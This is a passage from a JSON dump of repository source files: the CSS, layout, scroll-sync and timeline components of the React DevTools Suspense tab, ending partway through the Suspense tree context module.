var(--vertical-resize-tree-percentage));\n    border-left: none;\n  }\n\n  .TreeWrapper + .ResizeBarWrapper .ResizeBar {\n    top: 1px;\n    left: 0;\n    width: 100%;\n    height: 5px;\n    cursor: ns-resize;\n  }\n\n  .ToggleInspectedElement[data-orientation=\"horizontal\"] {\n    display: none;\n  }\n}\n\n@container devtools (width >= 600px) {\n  .ToggleInspectedElement[data-orientation=\"vertical\"] {\n    display: none;\n  }\n}\n\n.ActivityList {\n  flex: 0 0 var(--horizontal-resize-activity-list-percentage);;\n  border-right: 1px solid var(--color-border);\n  overflow: auto;\n}\n\n.TreeView {\n  flex: 1 1 35%;\n  display: flex;\n  flex-direction: column;\n  height: 100%;\n  overflow: auto;\n}\n\n.Rects {\n  padding: 0.25rem;\n  flex-grow: 1;\n  overflow: auto;\n}\n\n.SuspenseTreeViewHeader {\n  flex: 0 0 42px;\n  padding: 0.5rem;\n  display: flex;\n  align-items: center;\n  border-bottom: 1px solid var(--color-border);\n}\n\n.SuspenseTreeViewFooter {\n  flex: 0 0 42px;\n  display: flex;\n  justify-content: end;\n  border-top: 1px solid var(--color-border);\n  padding: 0.5rem;\n  display: grid;\n  grid-template-columns: 1fr auto;\n  align-items: center;\n}\n\n.SuspenseTreeViewFooterButtons {\n  padding: 0.25rem;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTab.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport * as React from 'react';\nimport {\n  useContext,\n  useEffect,\n  useLayoutEffect,\n  useReducer,\n  useRef,\n  Fragment,\n} from 'react';\n\nimport {enableActivitySlices} from 'react-devtools-feature-flags';\nimport {\n  localStorageGetItem,\n  localStorageSetItem,\n} from 'react-devtools-shared/src/storage';\nimport ButtonIcon, {type IconType} from '../ButtonIcon';\nimport InspectHostNodesToggle from '../Components/InspectHostNodesToggle';\nimport InspectedElementErrorBoundary from '../Components/InspectedElementErrorBoundary';\nimport InspectedElement from '../Components/InspectedElement';\nimport portaledContent from '../portaledContent';\nimport styles from './SuspenseTab.css';\nimport SuspenseBreadcrumbs from './SuspenseBreadcrumbs';\nimport SuspenseRects from './SuspenseRects';\nimport SuspenseTimeline from './SuspenseTimeline';\nimport ActivityList from './ActivityList';\nimport {\n  SuspenseTreeDispatcherContext,\n  SuspenseTreeStateContext,\n} from './SuspenseTreeContext';\nimport {BridgeContext, StoreContext, OptionsContext} from '../context';\nimport Button from '../Button';\nimport Toggle from '../Toggle';\nimport typeof {SyntheticPointerEvent} from 'react-dom-bindings/src/events/SyntheticEvent';\nimport SettingsModal from 'react-devtools-shared/src/devtools/views/Settings/SettingsModal';\nimport SettingsModalContextToggle from 'react-devtools-shared/src/devtools/views/Settings/SettingsModalContextToggle';\nimport {SettingsModalContextController} from 'react-devtools-shared/src/devtools/views/Settings/SettingsModalContext';\nimport {TreeStateContext} from '../Components/TreeContext';\n\ntype Orientation = 'horizontal' | 'vertical';\n\ntype LayoutActionType =\n  | 'ACTION_SET_ACTIVITY_LIST_TOGGLE'\n  | 'ACTION_SET_ACTIVITY_LIST_HORIZONTAL_FRACTION'\n  | 'ACTION_SET_INSPECTED_ELEMENT_TOGGLE'\n  | 'ACTION_SET_INSPECTED_ELEMENT_HORIZONTAL_FRACTION'\n  | 'ACTION_SET_INSPECTED_ELEMENT_VERTICAL_FRACTION';\ntype LayoutAction = {\n  type: LayoutActionType,\n  payload: any,\n};\n\ntype LayoutState = {\n  activityListHidden: boolean,\n  activityListHorizontalFraction: number,\n  inspectedElementHidden: boolean,\n  inspectedElementHorizontalFraction: number,\n  inspectedElementVerticalFraction: number,\n};\ntype LayoutDispatch = (action: LayoutAction) => void;\n\nfunction ToggleUniqueSuspenders() {\n  const store = useContext(StoreContext);\n  const suspenseTreeDispatch = useContext(SuspenseTreeDispatcherContext);\n\n  const {uniqueSuspendersOnly} = useContext(SuspenseTreeStateContext);\n\n  function handleToggleUniqueSuspenders() {\n    const nextUniqueSuspendersOnly = !uniqueSuspendersOnly;\n    // TODO: Handle different timeline modes (e.g. random order)\n    const nextTimeline = store.getEndTimeOrDocumentOrderSuspense(\n      nextUniqueSuspendersOnly,\n    );\n    suspenseTreeDispatch({\n      type: 'SET_SUSPENSE_TIMELINE',\n      payload: [nextTimeline, null, nextUniqueSuspendersOnly],\n    });\n  }\n\n  return (\n    <Toggle\n      isChecked={uniqueSuspendersOnly}\n      onChange={handleToggleUniqueSuspenders}\n      title={\n        'Filter Suspense which does not suspend, or if the parent also suspend on the same.'\n      }>\n      <ButtonIcon type={uniqueSuspendersOnly ? 'filter-on' : 'filter-off'} />\n    </Toggle>\n  );\n}\n\nfunction ToggleActivityList({\n  dispatch,\n  state,\n}: {\n  dispatch: LayoutDispatch,\n  state: LayoutState,\n}) {\n  return (\n    <Button\n      onClick={() =>\n        dispatch({\n          type: 'ACTION_SET_ACTIVITY_LIST_TOGGLE',\n          payload: null,\n        })\n      }\n      title={\n        state.activityListHidden ? 'Show Activity List' : 'Hide Activity List'\n      }>\n      <ButtonIcon\n        type={state.activityListHidden ? 'panel-left-open' : 'panel-left-close'}\n      />\n    </Button>\n  );\n}\n\nfunction ToggleInspectedElement({\n  dispatch,\n  state,\n  orientation,\n}: {\n  dispatch: LayoutDispatch,\n  state: LayoutState,\n  orientation: 'horizontal' | 'vertical',\n}) {\n  let iconType: IconType;\n  if (orientation === 'horizontal') {\n    iconType = state.inspectedElementHidden\n      ? 'panel-right-open'\n      : 'panel-right-close';\n  } else {\n    iconType = state.inspectedElementHidden\n      ? 'panel-bottom-open'\n      : 'panel-bottom-close';\n  }\n  return (\n    <Button\n      className={styles.ToggleInspectedElement}\n      data-orientation={orientation}\n      onClick={() =>\n        dispatch({\n          type: 'ACTION_SET_INSPECTED_ELEMENT_TOGGLE',\n          payload: null,\n        })\n      }\n      title={\n        state.inspectedElementHidden\n          ? 'Show Inspected Element'\n          : 'Hide Inspected Element'\n      }>\n      <ButtonIcon type={iconType} />\n    </Button>\n  );\n}\n\nfunction SynchronizedScrollContainer({\n  className,\n  children,\n  scaleRef,\n}: {\n  className?: string,\n  children?: React.Node,\n  scaleRef: {current: number},\n}) {\n  const bridge = useContext(BridgeContext);\n  const ref = useRef(null);\n  const applyingScrollRef = useRef(false);\n\n  // TODO: useEffectEvent\n  function scrollContainerTo({\n    left,\n    top,\n    right,\n    bottom,\n  }: {\n    left: number,\n    top: number,\n    right: number,\n    bottom: number,\n  }): void {\n    const element = ref.current;\n    if (element === null) {\n      return;\n    }\n    const scale = scaleRef.current / element.clientWidth;\n    const targetLeft = Math.round(left / scale);\n    const targetTop = Math.round(top / scale);\n    if (\n      targetLeft !== Math.round(element.scrollLeft) ||\n      targetTop !== Math.round(element.scrollTop)\n    ) {\n      // Disable scroll events until we've applied the new scroll position.\n      applyingScrollRef.current = true;\n      element.scrollTo({\n        left: targetLeft,\n        top: targetTop,\n        behavior: 'smooth',\n      });\n    }\n  }\n\n  useEffect(() => {\n    const callback = scrollContainerTo;\n    bridge.addListener('scrollTo', callback);\n    // Ask for the current scroll position when we mount so we can attach ourselves to it.\n    bridge.send('requestScrollPosition');\n    return () => bridge.removeListener('scrollTo', callback);\n  }, [bridge]);\n\n  const scrollTimer = useRef<null | TimeoutID>(null);\n\n  // TODO: useEffectEvent\n  function sendScroll() {\n    if (scrollTimer.current) {\n      clearTimeout(scrollTimer.current);\n      scrollTimer.current = null;\n    }\n    if (applyingScrollRef.current) {\n      return;\n    }\n    const element = ref.current;\n    if (element === null) {\n      return;\n    }\n    const scale = scaleRef.current / element.clientWidth;\n    const left = element.scrollLeft * scale;\n    const top = element.scrollTop * scale;\n    const right = left + element.clientWidth * scale;\n    const bottom = top + element.clientHeight * scale;\n    bridge.send('scrollTo', {left, top, right, bottom});\n  }\n\n  // TODO: useEffectEvent\n  function throttleScroll() {\n    if (!scrollTimer.current) {\n      // Periodically synchronize the scroll while scrolling.\n      scrollTimer.current = setTimeout(sendScroll, 400);\n    }\n  }\n\n  function scrollEnd() {\n    // Upon scrollend send it immediately.\n    sendScroll();\n    applyingScrollRef.current = false;\n  }\n\n  useEffect(() => {\n    const element = ref.current;\n    if (element === null) {\n      return;\n    }\n    const scrollCallback = throttleScroll;\n    const scrollEndCallback = scrollEnd;\n    element.addEventListener('scroll', scrollCallback);\n    element.addEventListener('scrollend', scrollEndCallback);\n    return () => {\n      element.removeEventListener('scroll', scrollCallback);\n      element.removeEventListener('scrollend', scrollEndCallback);\n    };\n  }, [ref]);\n\n  return (\n    <div className={className} ref={ref}>\n      {children}\n    </div>\n  );\n}\n\nfunction SuspenseTab(_: {}) {\n  const store = useContext(StoreContext);\n  const {hideSettings} = useContext(OptionsContext);\n  const [state, dispatch] = useReducer<LayoutState, null, LayoutAction>(\n    layoutReducer,\n    null,\n    initLayoutState,\n  );\n\n  const {activities} = useContext(TreeStateContext);\n  // If there are no named Activity boundaries, we don't have any tree list and we should hide\n  // both the panel and the button to toggle it.\n  const activityListDisabled = !enableActivitySlices || activities.length === 0;\n\n  const wrapperTreeRef = useRef<null | HTMLElement>(null);\n  const resizeTreeRef = useRef<null | HTMLElement>(null);\n  const resizeActivityListRef = useRef<null | HTMLElement>(null);\n\n  // TODO: We'll show the recently inspected element in this tab when it should probably\n  // switch to the nearest Suspense boundary when we switch into this tab.\n\n  const {\n    inspectedElementHidden,\n    inspectedElementHorizontalFraction,\n    inspectedElementVerticalFraction,\n    activityListHidden,\n    activityListHorizontalFraction,\n  } = state;\n\n  useLayoutEffect(() => {\n    const wrapperElement = wrapperTreeRef.current;\n\n    setResizeCSSVariable(\n      wrapperElement,\n      'tree',\n      'horizontal',\n      inspectedElementHorizontalFraction * 100,\n    );\n    setResizeCSSVariable(\n      wrapperElement,\n      'tree',\n      'vertical',\n      inspectedElementVerticalFraction * 100,\n    );\n\n    const resizeActivityListElement = resizeActivityListRef.current;\n    setResizeCSSVariable(\n      resizeActivityListElement,\n      'activity-list',\n      'horizontal',\n      activityListHorizontalFraction * 100,\n    );\n  }, []);\n  useEffect(() => {\n    const timeoutID = setTimeout(() => {\n      localStorageSetItem(\n        LOCAL_STORAGE_KEY,\n        JSON.stringify({\n          inspectedElementHidden,\n          inspectedElementHorizontalFraction,\n          inspectedElementVerticalFraction,\n          activityListHidden,\n          activityListHorizontalFraction,\n        }),\n      );\n    }, 500);\n\n    return () => clearTimeout(timeoutID);\n  }, [\n    inspectedElementHidden,\n    inspectedElementHorizontalFraction,\n    inspectedElementVerticalFraction,\n    activityListHidden,\n    activityListHorizontalFraction,\n  ]);\n\n  const onResizeStart = (event: SyntheticPointerEvent) => {\n    const element = event.currentTarget;\n    element.setPointerCapture(event.pointerId);\n  };\n\n  const onResizeEnd = (event: SyntheticPointerEvent) => {\n    const element = event.currentTarget;\n    element.releasePointerCapture(event.pointerId);\n  };\n\n  const onResizeTree = (event: SyntheticPointerEvent) => {\n    const element = event.currentTarget;\n    const isResizing = element.hasPointerCapture(event.pointerId);\n    if (!isResizing) {\n      return;\n    }\n\n    const resizeElement = resizeTreeRef.current;\n    const wrapperElement = wrapperTreeRef.current;\n\n    if (wrapperElement === null || resizeElement === null) {\n      return;\n    }\n\n    event.preventDefault();\n\n    const orientation = getTreeOrientation(wrapperElement);\n\n    const {height, width, left, top} = wrapperElement.getBoundingClientRect();\n\n    const currentMousePosition =\n      orientation === 'horizontal' ? event.clientX - left : event.clientY - top;\n\n    const boundaryMin = MINIMUM_TREE_SIZE;\n    const boundaryMax =\n      orientation === 'horizontal'\n        ? width - MINIMUM_TREE_SIZE\n        : height - MINIMUM_TREE_SIZE;\n\n    const isMousePositionInBounds =\n      currentMousePosition > boundaryMin && currentMousePosition < boundaryMax;\n\n    if (isMousePositionInBounds) {\n      const resizedElementDimension =\n        orientation === 'horizontal' ? width : height;\n      const actionType =\n        orientation === 'horizontal'\n          ? 'ACTION_SET_INSPECTED_ELEMENT_HORIZONTAL_FRACTION'\n          : 'ACTION_SET_INSPECTED_ELEMENT_VERTICAL_FRACTION';\n      const fraction = currentMousePosition / resizedElementDimension;\n      const percentage = fraction * 100;\n\n      setResizeCSSVariable(wrapperElement, 'tree', orientation, percentage);\n\n      dispatch({\n        type: actionType,\n        payload: fraction,\n      });\n    }\n  };\n\n  const onResizeActivityList = (event: SyntheticPointerEvent) => {\n    const element = event.currentTarget;\n    const isResizing = element.hasPointerCapture(event.pointerId);\n    if (!isResizing) {\n      return;\n    }\n\n    const resizeElement = resizeActivityListRef.current;\n    const wrapperElement = resizeTreeRef.current;\n\n    if (wrapperElement === null || resizeElement === null) {\n      return;\n    }\n\n    event.preventDefault();\n\n    const orientation = 'horizontal';\n\n    const {height, width, left, top} = wrapperElement.getBoundingClientRect();\n\n    const currentMousePosition =\n      orientation === 'horizontal' ? event.clientX - left : event.clientY - top;\n\n    const boundaryMin = MINIMUM_ACTIVITY_LIST_SIZE;\n    const boundaryMax =\n      orientation === 'horizontal'\n        ? width - MINIMUM_ACTIVITY_LIST_SIZE\n        : height - MINIMUM_ACTIVITY_LIST_SIZE;\n\n    const isMousePositionInBounds =\n      currentMousePosition > boundaryMin && currentMousePosition < boundaryMax;\n\n    if (isMousePositionInBounds) {\n      const resizedElementDimension =\n        orientation === 'horizontal' ? width : height;\n      const actionType = 'ACTION_SET_ACTIVITY_LIST_HORIZONTAL_FRACTION';\n      const percentage = (currentMousePosition / resizedElementDimension) * 100;\n\n      setResizeCSSVariable(\n        resizeElement,\n        'activity-list',\n        orientation,\n        percentage,\n      );\n\n      dispatch({\n        type: actionType,\n        payload: currentMousePosition / resizedElementDimension,\n      });\n    }\n  };\n\n  const scaleRef = useRef(0);\n\n  return (\n    <SettingsModalContextController>\n      <div className={styles.SuspenseTab} ref={wrapperTreeRef}>\n        <div className={styles.TreeWrapper} ref={resizeTreeRef}>\n          {activityListDisabled ? null : (\n            <div\n              className={styles.ActivityList}\n              hidden={activityListHidden}\n              ref={resizeActivityListRef}>\n              <ActivityList activities={activities} />\n            </div>\n          )}\n          {activityListDisabled ? null : (\n            <div\n              className={styles.ResizeBarWrapper}\n              hidden={activityListHidden}>\n              <div\n                onPointerDown={onResizeStart}\n                onPointerMove={onResizeActivityList}\n                onPointerUp={onResizeEnd}\n                className={styles.ResizeBar}\n              />\n            </div>\n          )}\n          <div className={styles.TreeView}>\n            <header className={styles.SuspenseTreeViewHeader}>\n              {activityListDisabled ? (\n                <div />\n              ) : (\n                <ToggleActivityList dispatch={dispatch} state={state} />\n              )}\n              {store.supportsClickToInspect && (\n                <Fragment>\n                  <InspectHostNodesToggle onlySuspenseNodes={true} />\n                  <div className={styles.VRule} />\n                </Fragment>\n              )}\n              <SuspenseBreadcrumbs />\n              <div className={styles.VRule} />\n              <ToggleUniqueSuspenders />\n              {!hideSettings && <SettingsModalContextToggle />}\n              <ToggleInspectedElement\n                dispatch={dispatch}\n                state={state}\n                orientation=\"horizontal\"\n              />\n            </header>\n            <SynchronizedScrollContainer\n              className={styles.Rects}\n              scaleRef={scaleRef}>\n              <SuspenseRects scaleRef={scaleRef} />\n            </SynchronizedScrollContainer>\n            <footer className={styles.SuspenseTreeViewFooter}>\n              <SuspenseTimeline />\n              <div className={styles.SuspenseTreeViewFooterButtons}>\n                <ToggleInspectedElement\n                  dispatch={dispatch}\n                  state={state}\n                  orientation=\"vertical\"\n                />\n              </div>\n            </footer>\n          </div>\n        </div>\n        <div\n          className={styles.ResizeBarWrapper}\n          hidden={inspectedElementHidden}>\n          <div\n            onPointerDown={onResizeStart}\n            onPointerMove={onResizeTree}\n            onPointerUp={onResizeEnd}\n            className={styles.ResizeBar}\n          />\n        </div>\n        <div\n          className={styles.InspectedElementWrapper}\n          hidden={inspectedElementHidden}>\n          <InspectedElementErrorBoundary>\n            <InspectedElement\n              fallbackEmpty={\n                'No React element selected. Select a Suspense boundary in the minimap to inspect.'\n              }\n            />\n          </InspectedElementErrorBoundary>\n        </div>\n        <SettingsModal />\n      </div>\n    </SettingsModalContextController>\n  );\n}\n\nconst LOCAL_STORAGE_KEY = 'React::DevTools::SuspenseTab::layout';\nconst VERTICAL_TREE_MODE_MAX_WIDTH = 600;\nconst MINIMUM_TREE_SIZE = 100;\nconst MINIMUM_ACTIVITY_LIST_SIZE = 100;\n\nfunction layoutReducer(state: LayoutState, action: LayoutAction): LayoutState {\n  switch (action.type) {\n    case 'ACTION_SET_ACTIVITY_LIST_TOGGLE':\n      return {\n        ...state,\n        activityListHidden: !state.activityListHidden,\n      };\n    case 'ACTION_SET_ACTIVITY_LIST_HORIZONTAL_FRACTION':\n      return {\n        ...state,\n        activityListHorizontalFraction: action.payload,\n      };\n    case 'ACTION_SET_INSPECTED_ELEMENT_TOGGLE':\n      return {\n        ...state,\n        inspectedElementHidden: !state.inspectedElementHidden,\n      };\n    case 'ACTION_SET_INSPECTED_ELEMENT_HORIZONTAL_FRACTION':\n      return {\n        ...state,\n        inspectedElementHorizontalFraction: action.payload,\n      };\n    case 'ACTION_SET_INSPECTED_ELEMENT_VERTICAL_FRACTION':\n      return {\n        ...state,\n        inspectedElementVerticalFraction: action.payload,\n      };\n    default:\n      return state;\n  }\n}\n\nfunction initLayoutState(): LayoutState {\n  let inspectedElementHidden = false;\n  let inspectedElementHorizontalFraction = 0.65;\n  let inspectedElementVerticalFraction = 0.5;\n  let activityListHidden = false;\n  let activityListHorizontalFraction = 0.35;\n\n  try {\n    let data = localStorageGetItem(LOCAL_STORAGE_KEY);\n    if (data != null) {\n      data = JSON.parse(data);\n      inspectedElementHidden = data.inspectedElementHidden;\n      inspectedElementHorizontalFraction =\n        data.inspectedElementHorizontalFraction;\n      inspectedElementVerticalFraction = data.inspectedElementVerticalFraction;\n      activityListHidden = data.activityListHidden;\n      activityListHorizontalFraction = data.activityListHorizontalFraction;\n    }\n  } catch (error) {}\n\n  return {\n    inspectedElementHidden,\n    inspectedElementHorizontalFraction,\n    inspectedElementVerticalFraction,\n    activityListHidden,\n    activityListHorizontalFraction,\n  };\n}\n\nfunction getTreeOrientation(\n  wrapperElement: null | HTMLElement,\n): null | Orientation {\n  if (wrapperElement != null) {\n    const {width} = wrapperElement.getBoundingClientRect();\n    return width > VERTICAL_TREE_MODE_MAX_WIDTH ? 'horizontal' : 'vertical';\n  }\n  return null;\n}\n\nfunction setResizeCSSVariable(\n  resizeElement: null | HTMLElement,\n  name: 'tree' | 'activity-list',\n  orientation: null | Orientation,\n  percentage: number,\n): void {\n  if (resizeElement !== null && orientation !== null) {\n    resizeElement.style.setProperty(\n      `--${orientation}-resize-${name}-percentage`,\n      `${percentage}%`,\n    );\n  }\n}\n\nexport default (portaledContent(SuspenseTab): component());\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTimeline.css",
    "content": ".SuspenseTimelineContainer {\n  display: flex;\n  flex-direction: row;\n  padding: 0.25rem;\n  align-items: center;\n}\n\n.SuspenseTimelineInput {\n  display: flex;\n  flex-direction: column;\n  flex-grow: 1;\n}\n\n.SuspenseTimelineRootSwitcher {\n  height: fit-content;\n  max-width: 3rem;\n}\n\n.SuspenseTimelineProgressIndicator {\n  align-self: center;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTimeline.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useContext, useEffect} from 'react';\nimport {BridgeContext, StoreContext} from '../context';\nimport {TreeDispatcherContext} from '../Components/TreeContext';\nimport {useScrollToHostInstance} from '../hooks';\nimport {\n  SuspenseTreeDispatcherContext,\n  SuspenseTreeStateContext,\n} from './SuspenseTreeContext';\nimport styles from './SuspenseTimeline.css';\nimport SuspenseScrubber from './SuspenseScrubber';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport type {SuspenseNode} from '../../../frontend/types';\n\nfunction SuspenseTimelineInput() {\n  const bridge = useContext(BridgeContext);\n  const store = useContext(StoreContext);\n  const treeDispatch = useContext(TreeDispatcherContext);\n  const suspenseTreeDispatch = useContext(SuspenseTreeDispatcherContext);\n  const scrollToHostInstance = useScrollToHostInstance();\n\n  const {timeline, timelineIndex, hoveredTimelineIndex, playing, autoScroll} =\n    useContext(SuspenseTreeStateContext);\n\n  const min = 0;\n  const max = timeline.length > 0 ? timeline.length - 1 : 0;\n\n  function switchSuspenseNode(nextTimelineIndex: number) {\n    const nextSelectedSuspenseID = timeline[nextTimelineIndex].id;\n    treeDispatch({\n      type: 'SELECT_ELEMENT_BY_ID',\n      payload: nextSelectedSuspenseID,\n    });\n    suspenseTreeDispatch({\n      type: 'SUSPENSE_SET_TIMELINE_INDEX',\n      payload: nextTimelineIndex,\n    });\n  }\n\n  function handleChange(pendingTimelineIndex: number) {\n    switchSuspenseNode(pendingTimelineIndex);\n  }\n\n  function handleFocus() {\n    switchSuspenseNode(timelineIndex);\n  }\n\n  function handleHoverSegment(hoveredIndex: number) {\n    const nextSelectedSuspenseID = timeline[hoveredIndex].id;\n    suspenseTreeDispatch({\n      type: 'HOVER_TIMELINE_FOR_ID',\n      payload: nextSelectedSuspenseID,\n    });\n  }\n  function handleUnhoverSegment() {\n    suspenseTreeDispatch({\n      type: 'HOVER_TIMELINE_FOR_ID',\n      payload: -1,\n    });\n  }\n\n  function skipPrevious() {\n    const nextSelectedSuspenseID = timeline[timelineIndex - 1].id;\n    treeDispatch({\n      type: 'SELECT_ELEMENT_BY_ID',\n      payload: nextSelectedSuspenseID,\n    });\n    suspenseTreeDispatch({\n      type: 'SUSPENSE_SKIP_TIMELINE_INDEX',\n      payload: false,\n    });\n  }\n\n  function skipForward() {\n    const nextSelectedSuspenseID = timeline[timelineIndex + 1].id;\n    treeDispatch({\n      type: 'SELECT_ELEMENT_BY_ID',\n      payload: nextSelectedSuspenseID,\n    });\n    suspenseTreeDispatch({\n      type: 'SUSPENSE_SKIP_TIMELINE_INDEX',\n      payload: true,\n    });\n  }\n\n  function togglePlaying() {\n    suspenseTreeDispatch({\n      type: 'SUSPENSE_PLAY_PAUSE',\n      payload: 'toggle',\n    });\n  }\n\n  // TODO: useEffectEvent here once it's supported in all versions DevTools supports.\n  // For now we just exclude it from deps since we don't lint those anyway.\n  function changeTimelineIndex(newIndex: number) {\n    const suspendedSetByRendererID = new Map<\n      number,\n      Array<SuspenseNode['id']>,\n    >();\n    // Unsuspend everything by default.\n    // We might not encounter every renderer after the milestone e.g.\n    // if we clicked at the end of the timeline.\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const rendererID of store.rootIDToRendererID.values()) {\n      suspendedSetByRendererID.set(rendererID, []);\n    }\n\n    // Synchronize timeline index with what is resuspended.\n    // We suspend everything after the current selection. The root isn't showing\n    // anything suspended in the root. The step after that should have one less\n    // thing suspended. I.e. the first suspense boundary should be unsuspended\n    // when it's selected. This also lets you show everything in the last step.\n    for (let i = timelineIndex + 1; i < timeline.length; i++) {\n      const step = timeline[i];\n      const {rendererID} = step;\n      const suspendedSetForRendererID =\n        suspendedSetByRendererID.get(rendererID);\n      if (suspendedSetForRendererID === undefined) {\n        throw new Error(\n          `Should have initialized suspended set for renderer ID \"${rendererID}\" earlier. This is a bug in React DevTools.`,\n        );\n      }\n      suspendedSetForRendererID.push(step.id);\n    }\n\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const [rendererID, suspendedSet] of suspendedSetByRendererID) {\n      bridge.send('overrideSuspenseMilestone', {\n        rendererID,\n        suspendedSet,\n      });\n    }\n  }\n\n  useEffect(() => {\n    changeTimelineIndex(timelineIndex);\n  }, [timelineIndex]);\n\n  useEffect(() => {\n    if (autoScroll.id > 0) {\n      const scrollToId = autoScroll.id;\n      // Consume the scroll ref so that we only trigger this scroll once.\n      autoScroll.id = 0;\n      scrollToHostInstance(scrollToId);\n    }\n  }, [autoScroll]);\n\n  useEffect(() => {\n    if (!playing) {\n      return undefined;\n    }\n    // While playing, advance one step every second.\n    const PLAY_SPEED_INTERVAL = 1000;\n    const timer = setInterval(() => {\n      suspenseTreeDispatch({\n        type: 'SUSPENSE_PLAY_TICK',\n      });\n    }, PLAY_SPEED_INTERVAL);\n    return () => {\n      clearInterval(timer);\n    };\n  }, [playing]);\n\n  if (timeline.length === 0) {\n    return (\n      <div className={styles.SuspenseTimelineInput}>\n        Root contains no Suspense nodes.\n      </div>\n    );\n  }\n\n  return (\n    <>\n      <Button\n        disabled={timelineIndex === 0}\n        title={'Previous'}\n        onClick={skipPrevious}>\n        <ButtonIcon type={'skip-previous'} />\n      </Button>\n      <Button\n        disabled={max === 0 && !playing}\n        title={playing ? 'Pause' : 'Play'}\n        onClick={togglePlaying}>\n        <ButtonIcon type={playing ? 'pause' : 'play'} />\n      </Button>\n      <Button\n        disabled={timelineIndex === max}\n        title={'Next'}\n        onClick={skipForward}>\n        <ButtonIcon type={'skip-next'} />\n      </Button>\n      <div className={styles.SuspenseTimelineInput}>\n        <SuspenseScrubber\n          min={min}\n          max={max}\n          timeline={timeline}\n          value={timelineIndex}\n          highlight={hoveredTimelineIndex}\n          onChange={handleChange}\n          onFocus={handleFocus}\n          onHoverSegment={handleHoverSegment}\n          onHoverLeave={handleUnhoverSegment}\n        />\n      </div>\n    </>\n  );\n}\n\nexport default function SuspenseTimeline(): React$Node {\n  return (\n    <div className={styles.SuspenseTimelineContainer}>\n      <SuspenseTimelineInput />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTreeContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {ReactContext} from 'shared/ReactTypes';\nimport type {\n  SuspenseNode,\n  SuspenseTimelineStep,\n} from 'react-devtools-shared/src/frontend/types';\nimport type Store from '../../store';\n\nimport * as React from 'react';\nimport {\n  createContext,\n  startTransition,\n  useContext,\n  useEffect,\n  useMemo,\n  useReducer,\n} from 'react';\nimport {StoreContext} from '../context';\n\nexport type SuspenseTreeState = {\n  lineage: $ReadOnlyArray<SuspenseNode['id']> | null,\n  roots: $ReadOnlyArray<SuspenseNode['id']>,\n  selectedSuspenseID: SuspenseNode['id'] | null,\n  timeline: $ReadOnlyArray<SuspenseTimelineStep>,\n  timelineIndex: number | -1,\n  hoveredTimelineIndex: number | -1,\n  uniqueSuspendersOnly: boolean,\n  playing: boolean,\n  autoSelect: boolean,\n  autoScroll: {id: number}, // Ref that's set to 0 after scrolling once.\n};\n\ntype ACTION_SUSPENSE_TREE_MUTATION = {\n  type: 'HANDLE_SUSPENSE_TREE_MUTATION',\n  payload: [Map<SuspenseNode['id'], SuspenseNode['id']>],\n};\ntype ACTION_SET_SUSPENSE_LINEAGE = {\n  type: 'SET_SUSPENSE_LINEAGE',\n  payload: SuspenseNode['id'],\n};\ntype ACTION_SELECT_SUSPENSE_BY_ID = {\n  type: 'SELECT_SUSPENSE_BY_ID',\n  payload: SuspenseNode['id'],\n};\ntype ACTION_SET_SUSPENSE_TIMELINE = {\n  type: 'SET_SUSPENSE_TIMELINE',\n  payload: [\n    $ReadOnlyArray<SuspenseTimelineStep>,\n    // The next Suspense ID to select in the timeline\n    SuspenseNode['id'] | null,\n    // Whether this timeline includes only unique suspenders\n    boolean,\n  ],\n};\ntype ACTION_SUSPENSE_SET_TIMELINE_INDEX = {\n  type: 'SUSPENSE_SET_TIMELINE_INDEX',\n  payload: number,\n};\ntype ACTION_SUSPENSE_SKIP_TIMELINE_INDEX = {\n  type: 'SUSPENSE_SKIP_TIMELINE_INDEX',\n  payload: boolean,\n};\ntype ACTION_SUSPENSE_PLAY_PAUSE = {\n  type: 'SUSPENSE_PLAY_PAUSE',\n  payload: 'toggle' | 'play' | 'pause',\n};\ntype ACTION_SUSPENSE_PLAY_TICK = {\n  type: 'SUSPENSE_PLAY_TICK',\n};\ntype ACTION_TOGGLE_TIMELINE_FOR_ID = {\n  type: 'TOGGLE_TIMELINE_FOR_ID',\n  payload: SuspenseNode['id'],\n};\ntype ACTION_HOVER_TIMELINE_FOR_ID = {\n  type: 'HOVER_TIMELINE_FOR_ID',\n  payload: SuspenseNode['id'],\n};\n\nexport type SuspenseTreeAction =\n  | ACTION_SUSPENSE_TREE_MUTATION\n  | ACTION_SET_SUSPENSE_LINEAGE\n  | ACTION_SELECT_SUSPENSE_BY_ID\n  | ACTION_SET_SUSPENSE_TIMELINE\n  | ACTION_SUSPENSE_SET_TIMELINE_INDEX\n  | ACTION_SUSPENSE_SKIP_TIMELINE_INDEX\n  | ACTION_SUSPENSE_PLAY_PAUSE\n  | ACTION_SUSPENSE_PLAY_TICK\n  | ACTION_TOGGLE_TIMELINE_FOR_ID\n  | ACTION_HOVER_TIMELINE_FOR_ID;\nexport type SuspenseTreeDispatch = (action: SuspenseTreeAction) => void;\n\nconst SuspenseTreeStateContext: ReactContext<SuspenseTreeState> =\n  createContext<SuspenseTreeState>(((null: any): SuspenseTreeState));\nSuspenseTreeStateContext.displayName = 'SuspenseTreeStateContext';\n\nconst SuspenseTreeDispatcherContext: ReactContext<SuspenseTreeDispatch> =\n  createContext<SuspenseTreeDispatch>(((null: any): SuspenseTreeDispatch));\nSuspenseTreeDispatcherContext.displayName = 'SuspenseTreeDispatcherContext';\n\ntype Props = {\n  children: React$Node,\n};\n\nfunction getInitialState(store: Store): SuspenseTreeState {\n  const uniqueSuspendersOnly = true;\n  const 